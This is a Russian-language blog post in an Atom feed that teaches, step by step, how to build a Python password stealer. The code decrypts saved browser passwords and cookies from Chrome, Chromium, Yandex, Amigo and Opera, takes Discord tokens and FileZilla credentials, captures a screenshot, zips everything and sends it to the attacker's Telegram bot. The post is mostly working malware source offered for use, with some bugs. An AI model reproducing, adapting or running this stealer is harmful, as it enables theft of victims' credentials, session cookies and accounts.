<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>@0x40</title><author><name>@0x40</name></author><id>https://teletype.in/atom/0x40</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/0x40?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@0x40?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=0x40"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/0x40?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-06-19T03:50:51.768Z</updated><entry><id>0x40:HyR_lbobL</id><link rel="alternate" type="text/html" href="https://teletype.in/@0x40/HyR_lbobL?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=0x40"></link><title>Стиллер паролей на Python</title><published>2020-01-26T12:05:09.988Z</published><updated>2020-01-26T12:05:09.988Z</updated><summary type="html">Функционал:</summary><content type="html">
  &lt;p&gt;Функционал:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;Стиллинг сохранённых паролей и куков из браузеров(Google Chrome, Chromium, Amigo, Opera, Yandex Browser)&lt;/li&gt;
    &lt;li&gt;Скриншот рабочего стола&lt;/li&gt;
    &lt;li&gt;Стиллинг токена Discord&lt;/li&gt;
    &lt;li&gt;Стиллинг сессий FileZilla&lt;/li&gt;
    &lt;li&gt;Логи отправляются в Telegram&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p&gt;Приступим!&lt;/p&gt;
  &lt;p&gt;Создаём бота у &lt;a href=&quot;http://t.me/botfather&quot; target=&quot;_blank&quot;&gt;@BotFather&lt;/a&gt; копируем токен бота, идём в лс к своему боту и начинаем диалог, далее переходим к этому боту @userinfobot и узнаём свой chat id.&lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p&gt;С ботом закончили, открываем cmd и пишем следующие команды:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;pip install pyTelegramBotAPI&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;pip install win32crypt&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;pip install telebot&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Теперь открываем IDE и начинаем кодить:&lt;/p&gt;
  &lt;p&gt;Импортируем нужные библиотеки:&lt;/p&gt;
  &lt;pre&gt;import os
import sqlite3
import win32crypt
import telebot
import shutil
import requests
import zipfile
from PIL import ImageGrab
&lt;/pre&gt;
  &lt;p&gt;Теперь объявляем переменную username, которая содержит имя пользователя:&lt;/p&gt;
  &lt;pre&gt;username = os.getlogin()
&lt;/pre&gt;
  &lt;p&gt;Переменные для работы с ботом телеграм:&lt;/p&gt;
  &lt;pre&gt;token = &amp;#x27;ВАШ_ТОКЕН_ОТ_БОТА&amp;#x27;
bot = telebot.TeleBot(token)
&lt;/pre&gt;
  &lt;p&gt;Сейчас будем воровать пароли от хрома(комментарии отмечены # / #комментарий):&lt;/p&gt;
  &lt;pre&gt;def Chrome(): # Создаём функцию
   text = &amp;#x27;Stealer by 0x40\n\n\nPasswords Chrome:&amp;#x27; + &amp;#x27;\n&amp;#x27; # Добавим авторов стиллера)
   text += &amp;#x27;URL | LOGIN | PASSWORD&amp;#x27; + &amp;#x27;\n&amp;#x27; # Объясняем что лог идём в формате Ссылка | Логин | Пароль
   if os.path.exists(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Google\\Chrome\\User Data\\Default\\Login Data&amp;#x27;): # Ищем файл Login Data В котором содержатся все пароли
       shutil.copy2(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Google\\Chrome\\User Data\\Default\\Login Data&amp;#x27;, os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Google\\Chrome\\User Data\\Default\\Login Data2&amp;#x27;)

       conn = sqlite3.connect(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Google\\Chrome\\User Data\\Default\\Login Data2&amp;#x27;) # Начинаем работать с sqlite базой
       cursor = conn.cursor()
       cursor.execute(&amp;#x27;SELECT action_url, username_value, password_value FROM logins&amp;#x27;) # Вытаскиваем Ссылку, логин, пароль
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode() # расшифровываем данные
           login = result[1]
           url = result[0]
           if password != &amp;#x27;&amp;#x27;:
               text += url + &amp;#x27; | &amp;#x27; + login + &amp;#x27; | &amp;#x27; + password + &amp;#x27;\n&amp;#x27; # Добавляем данный в переменную
   return text
file = open(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\google_pass.txt&amp;#x27;, &amp;quot;w+&amp;quot;) #Сохраняем данныем в txt файл google_pass
file.write(str(Chrome()) + &amp;#x27;\n&amp;#x27;)
file.close()
&lt;/pre&gt;
  &lt;p&gt;Теперь воруем куки из хрома:&lt;/p&gt;
  &lt;pre&gt;def Chrome_cockie():
   textc = &amp;#x27;Stealer by 0x40\n\n\nCookies Chrome:&amp;#x27; + &amp;#x27;\n&amp;#x27;
   textc += &amp;#x27;URL | COOKIE | COOKIE NAME&amp;#x27; + &amp;#x27;\n&amp;#x27;
   if os.path.exists(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Google\\Chrome\\User Data\\Default\\Cookies&amp;#x27;):
       shutil.copy2(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Google\\Chrome\\User Data\\Default\\Cookies&amp;#x27;, os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Google\\Chrome\\User Data\\Default\\Cookies2&amp;#x27;)
       conn = sqlite3.connect(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Google\\Chrome\\User Data\\Default\\Cookies2&amp;#x27;)
       cursor = conn.cursor()
       cursor.execute(&amp;quot;SELECT * from cookies&amp;quot;)
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textc += url + &amp;#x27; | &amp;#x27; + str(cookie) + &amp;#x27; | &amp;#x27; + name + &amp;#x27;\n&amp;#x27;
   return textc
file = open(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\google_cookies.txt&amp;#x27;, &amp;quot;w+&amp;quot;) #данные
file.write(str(Chrome_cockie()) + &amp;#x27;\n&amp;#x27;)
file.close()
&lt;/pre&gt;
  &lt;p&gt;Воруем куки из Yandex Браузера:&lt;/p&gt;
  &lt;pre&gt;def Yandex():
   texty = &amp;#x27;Stealer by 0x40\n\n\nYANDEX Cookies:&amp;#x27; + &amp;#x27;\n&amp;#x27;
   texty += &amp;#x27;URL | COOKIE | COOKIE NAME&amp;#x27; + &amp;#x27;\n&amp;#x27;
   if os.path.exists(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies&amp;#x27;):
       shutil.copy2(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies&amp;#x27;, os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2&amp;#x27;)
       conn = sqlite3.connect(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2&amp;#x27;)
       cursor = conn.cursor()
       cursor.execute(&amp;quot;SELECT * from cookies&amp;quot;)
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           texty += url + &amp;#x27; | &amp;#x27; + str(cookie) + &amp;#x27; | &amp;#x27; + name + &amp;#x27;\n&amp;#x27;
   return texty
file = open(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\yandex_cookies.txt&amp;#x27;, &amp;quot;w+&amp;quot;)#данные
file.write(str(Yandex()) + &amp;#x27;\n&amp;#x27;)
file.close()
&lt;/pre&gt;
  &lt;p&gt;Пароли браузеров на основе Chromium:&lt;/p&gt;
  &lt;pre&gt;def chromium():
   textch = &amp;#x27;\n&amp;#x27; + &amp;#x27;Stealer by 0x40\n\n\nChromium Passwords:&amp;#x27; + &amp;#x27;\n&amp;#x27;
   textch += &amp;#x27;URL | LOGIN | PASSWORD&amp;#x27; + &amp;#x27;\n&amp;#x27;
   if os.path.exists(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Chromium\\User Data\\Default&amp;#x27;):
       shutil.copy2(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Chromium\\User Data\\Default\\Login Data&amp;#x27;, os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Chromium\\User Data\\Default\\Login Data2&amp;#x27;)
       conn = sqlite3.connect(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Chromium\\User Data\\Default\\Login Data2&amp;#x27;)
       cursor = conn.cursor()
       cursor.execute(&amp;#x27;SELECT action_url, username_value, password_value FROM logins&amp;#x27;)
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != &amp;#x27;&amp;#x27;:
               textch += url + &amp;#x27; | &amp;#x27; + login + &amp;#x27; | &amp;#x27; + password + &amp;#x27;\n&amp;#x27;
               return textch
file = open(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\chromium.txt&amp;#x27;, &amp;quot;w+&amp;quot;)#данные
file.write(str(chromium()) + &amp;#x27;\n&amp;#x27;)
file.close()
&lt;/pre&gt;
  &lt;p&gt;Куки браузеров на основе Chromium:&lt;/p&gt;
  &lt;pre&gt;def chromiumc():
   textchc = &amp;#x27;&amp;#x27; 
   textchc += &amp;#x27;\n&amp;#x27; + &amp;#x27;Stealer coded by Dark $ide\n\n\nChromium Cookies:&amp;#x27; + &amp;#x27;\n&amp;#x27;
   textchc += &amp;#x27;URL | COOKIE | COOKIE NAME&amp;#x27; + &amp;#x27;\n&amp;#x27;
   if os.path.exists(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Chromium\\User Data\\Default\\Cookies&amp;#x27;):
       shutil.copy2(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Chromium\\User Data\\Default\\Cookies&amp;#x27;, os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Chromium\\User Data\\Default\\Cookies2&amp;#x27;)
       conn = sqlite3.connect(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Chromium\\User Data\\Default\\Cookies2&amp;#x27;)
       cursor = conn.cursor()
       cursor.execute(&amp;quot;SELECT * from cookies&amp;quot;)
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textchc += url + &amp;#x27; | &amp;#x27; + str(cookie) + &amp;#x27; | &amp;#x27; + name + &amp;#x27;\n&amp;#x27;
   return textchc
file = open(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\chromium_cookies.txt&amp;#x27;, &amp;quot;w+&amp;quot;)#данные
file.write(str(chromiumc()) + &amp;#x27;\n&amp;#x27;)
file.close()
&lt;/pre&gt;
  &lt;p&gt;Пароли Amigo:&lt;/p&gt;
  &lt;pre&gt;def Amigo():
   textam = &amp;#x27;Passwords Amigo:&amp;#x27; + &amp;#x27;\n&amp;#x27;
   textam += &amp;#x27;URL | LOGIN | PASSWORD&amp;#x27; + &amp;#x27;\n&amp;#x27;
   if os.path.exists(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Amigo\\User Data\\Default\\Login Data&amp;#x27;):
       shutil.copy2(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Amigo\\User Data\\Default\\Login Data&amp;#x27;, os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Amigo\\User Data\\Default\\Login Data2&amp;#x27;)
       conn = sqlite3.connect(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Amigo\\User Data\\Default\\Login Data2&amp;#x27;)
       cursor = conn.cursor()
       cursor.execute(&amp;#x27;SELECT action_url, username_value, password_value FROM logins&amp;#x27;)
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != &amp;#x27;&amp;#x27;:
               textam += url + &amp;#x27; | &amp;#x27; + login + &amp;#x27; | &amp;#x27; + password + &amp;#x27;\n&amp;#x27;
file = open(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\amigo_pass.txt&amp;#x27;, &amp;quot;w+&amp;quot;)#данные
file.write(str(Amigo()) + &amp;#x27;\n&amp;#x27;)
file.close()
&lt;/pre&gt;
  &lt;p&gt;Куки Amigo:&lt;/p&gt;
  &lt;pre&gt;def Amigo_c():
   textamc = &amp;#x27;Cookies Amigo:&amp;#x27; + &amp;#x27;\n&amp;#x27;
   textamc += &amp;#x27;URL | COOKIE | COOKIE NAME&amp;#x27; + &amp;#x27;\n&amp;#x27;
   if os.path.exists(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Amigo\\User Data\\Default\\Cookies&amp;#x27;):
       shutil.copy2(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Amigo\\User Data\\Default\\Cookies&amp;#x27;, os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Amigo\\User Data\\Default\\Cookies2&amp;#x27;)
       conn = sqlite3.connect(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Amigo\\User Data\\Default\\Cookies2&amp;#x27;)
       cursor = conn.cursor()
       cursor.execute(&amp;quot;SELECT * from cookies&amp;quot;)
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textamc += url + &amp;#x27; | &amp;#x27; + str(cookie) + &amp;#x27; | &amp;#x27; + name + &amp;#x27;\n&amp;#x27;
   return textamc

file = open(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\amigo_cookies.txt&amp;#x27;, &amp;quot;w+&amp;quot;)#данные
file.write(str(Amigo_c()) + &amp;#x27;\n&amp;#x27;)
file.close()
&lt;/pre&gt;
  &lt;p&gt;Воруем пароли с Оперы:&lt;/p&gt;
  &lt;pre&gt;def Opera():
   texto = &amp;#x27;Passwords Opera:&amp;#x27; + &amp;#x27;\n&amp;#x27;
   texto += &amp;#x27;URL | LOGIN | PASSWORD&amp;#x27; + &amp;#x27;\n&amp;#x27;
   if os.path.exists(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\Opera Software\\Opera Stable\\Login Data&amp;#x27;):
       shutil.copy2(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\Opera Software\\Opera Stable\\Login Data&amp;#x27;, os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\Opera Software\\Opera Stable\\Login Data2&amp;#x27;)
       conn = sqlite3.connect(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\Opera Software\\Opera Stable\\Login Data2&amp;#x27;)
       cursor = conn.cursor()
       cursor.execute(&amp;#x27;SELECT action_url, username_value, password_value FROM logins&amp;#x27;)
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != &amp;#x27;&amp;#x27;:
               texto += url + &amp;#x27; | &amp;#x27; + login + &amp;#x27; | &amp;#x27; + password + &amp;#x27;\n&amp;#x27;

file = open(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\opera_pass.txt&amp;#x27;, &amp;quot;w+&amp;quot;)#данные
file.write(str(Opera()) + &amp;#x27;\n&amp;#x27;)
file.close()
&lt;/pre&gt;
  &lt;p&gt;Куки Оперы:&lt;/p&gt;
  &lt;pre&gt;def Opera_c():
    textoc = &amp;#x27;\n&amp;#x27; + &amp;#x27;Cookies Opera:&amp;#x27; + &amp;#x27;\n&amp;#x27;
    textoc += &amp;#x27;URL | COOKIE | COOKIE NAME&amp;#x27; + &amp;#x27;\n&amp;#x27;
    if os.path.exists(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Google\\Chrome\\User Data\\Default\\Cookies&amp;#x27;):
      shutil.copy2(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Google\\Chrome\\User Data\\Default\\Cookies&amp;#x27;, os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Google\\Chrome\\User Data\\Default\\Cookies2&amp;#x27;)
      conn = sqlite3.connect(os.getenv(&amp;quot;LOCALAPPDATA&amp;quot;) + &amp;#x27;\\Google\\Chrome\\User Data\\Default\\Cookies2&amp;#x27;)
      cursor = conn.cursor()
      cursor.execute(&amp;quot;SELECT * from cookies&amp;quot;)
      for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textoc += url + &amp;#x27; | &amp;#x27; + str(cookie) + &amp;#x27; | &amp;#x27; + name + &amp;#x27;\n&amp;#x27;
    return textoc

file = open(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\opera_cookies.txt&amp;#x27;, &amp;quot;w+&amp;quot;)#данные
file.write(str(Opera_c()) + &amp;#x27;\n&amp;#x27;)
file.close()
&lt;/pre&gt;
  &lt;p&gt;Теперь будем воровать DISCORD токен:&lt;/p&gt;
  &lt;pre&gt;def discord_token():
   if os.path.isfile(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;/discord/Local Storage/https_discordapp.com_0.localstorage&amp;#x27;) is True:
       token = &amp;#x27;&amp;#x27;
       conn = sqlite3.connect(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;quot;/discord/Local Storage/https_discordapp.com_0.localstorage&amp;quot;)
       cursor = conn.cursor()
       for row in cursor.execute(&amp;quot;SELECT key, value FROM ItemTable WHERE key=&amp;#x27;token&amp;#x27;&amp;quot;):
           token = row[1].decode(&amp;quot;utf-16&amp;quot;)
       conn.close()
       if token != &amp;#x27;&amp;#x27;:
           return token
       else:
           return &amp;#x27;Discord exists, but not logged in&amp;#x27;
   else:
       return &amp;#x27;Not found&amp;#x27;
ds_token = discord_token()
ds_token += &amp;#x27;Discord token:&amp;#x27; + &amp;#x27;\n&amp;#x27; + discord_token() + &amp;#x27;\n&amp;#x27; + &amp;#x27;\n&amp;#x27;

file = open(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\discord_token.txt&amp;#x27;, &amp;quot;w+&amp;quot;)#данные
file.write(str(discord_token()) + &amp;#x27;\n&amp;#x27;)
file.close()
&lt;/pre&gt;
  &lt;p&gt;Воруем Сессии FileZilla:&lt;/p&gt;
  &lt;pre&gt;def filezilla():
   try:
       data = &amp;#x27;&amp;#x27;
       if os.path.isfile(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\FileZilla\\recentservers.xml&amp;#x27;) is True:
           root = etree.parse(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\FileZilla\\recentservers.xml&amp;#x27;).getroot()

           for i in range(len(root[0])):
               host = root[0][i][0].text
               port = root[0][i][1].text
               user = root[0][i][4].text
               password = base64.b64decode(root[0][i][5].text).decode(&amp;#x27;utf-8&amp;#x27;)
               data += &amp;#x27;host: &amp;#x27; + host + &amp;#x27;|port: &amp;#x27; + port + &amp;#x27;|user: &amp;#x27; + user + &amp;#x27;|pass: &amp;#x27; + password + &amp;#x27;\n&amp;#x27;
           return data
       else:
           return &amp;#x27;Not found&amp;#x27;
   except Exception:
       return &amp;#x27;Error&amp;#x27;

textfz = filezilla()
textfz += &amp;#x27;Filezilla: &amp;#x27; + &amp;#x27;\n&amp;#x27; + filezilla() + &amp;#x27;\n&amp;#x27;

file = open(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\filezilla.txt&amp;#x27;, &amp;quot;w+&amp;quot;)#данные
file.write(str(filezilla()) + &amp;#x27;\n&amp;#x27;)
file.close()
&lt;/pre&gt;
  &lt;p&gt;Делаем скриншот рабочего стола:&lt;/p&gt;
  &lt;pre&gt;screen = ImageGrab.grab()
screen.save(os.getenv(&amp;quot;APPDATA&amp;quot;) + &amp;#x27;\\sreenshot.jpg&amp;#x27;)#данные
&lt;/pre&gt;
  &lt;p&gt;Теперь сохраняем все данные в архив:&lt;/p&gt;
  &lt;pre&gt;zname=r&amp;#x27;D:\LOG.zip&amp;#x27; #создаем переменную - название и местоположение файла
newzip=zipfile.ZipFile(zname,&amp;#x27;w&amp;#x27;) #создаем архив
newzip.write(r&amp;#x27;C:\\Users\\&amp;#x27; + username + &amp;#x27;\\AppData\\Roaming\\google_pass.txt&amp;#x27;)
newzip.write(r&amp;#x27;C:\\Users\\&amp;#x27; + username + &amp;#x27;\\AppData\\Roaming\\google_cookies.txt&amp;#x27;)
newzip.write(r&amp;#x27;C:\\Users\\&amp;#x27; + username + &amp;#x27;\\AppData\\Roaming\\yandex_cookies.txt&amp;#x27;)
newzip.write(r&amp;#x27;C:\\Users\\&amp;#x27; + username + &amp;#x27;\\AppData\\Roaming\\chromium.txt&amp;#x27;)
newzip.write(r&amp;#x27;C:\\Users\\&amp;#x27; + username + &amp;#x27;\\AppData\\Roaming\\chromium_cookies.txt&amp;#x27;)
newzip.write(r&amp;#x27;C:\\Users\\&amp;#x27; + username + &amp;#x27;\\AppData\\Roaming\\amigo_pass.txt&amp;#x27;)
newzip.write(r&amp;#x27;C:\\Users\\&amp;#x27; + username + &amp;#x27;\\AppData\\Roaming\\amigo_cookies.txt&amp;#x27;)
newzip.write(r&amp;#x27;C:\\Users\\&amp;#x27; + username + &amp;#x27;\\AppData\\Roaming\\opera_pass.txt&amp;#x27;)
newzip.write(r&amp;#x27;C:\\Users\\&amp;#x27; + username + &amp;#x27;\\AppData\\Roaming\\opera_cookies.txt&amp;#x27;)
newzip.write(r&amp;#x27;C:\\Users\\&amp;#x27; + username + &amp;#x27;\\AppData\\Roaming\\discord_token.txt&amp;#x27;)
newzip.write(r&amp;#x27;C:\\Users\\&amp;#x27; + username + &amp;#x27;\\AppData\\Roaming\\filezilla.txt&amp;#x27;)
newzip.write(r&amp;#x27;C:\\Users\\&amp;#x27; + username + &amp;#x27;\\AppData\\Roaming\\sreenshot.jpg&amp;#x27;)
newzip.close() #закрываем архив
&lt;/pre&gt;
  &lt;p&gt;Теперь добавим переменную doc:&lt;/p&gt;
  &lt;pre&gt;doc = open(&amp;quot;D:\LOG.zip&amp;quot;, &amp;#x27;rb&amp;#x27;)&lt;/pre&gt;
  &lt;p&gt;Отправляем сообщение в телеграм бота:&lt;/p&gt;
  &lt;pre&gt;bot.send_document(ВАШ CHATID, doc)&lt;/pre&gt;
  &lt;p&gt;На этом всё, думаю если будет время добавлю ещё плюшек.&lt;/p&gt;

</content></entry></feed>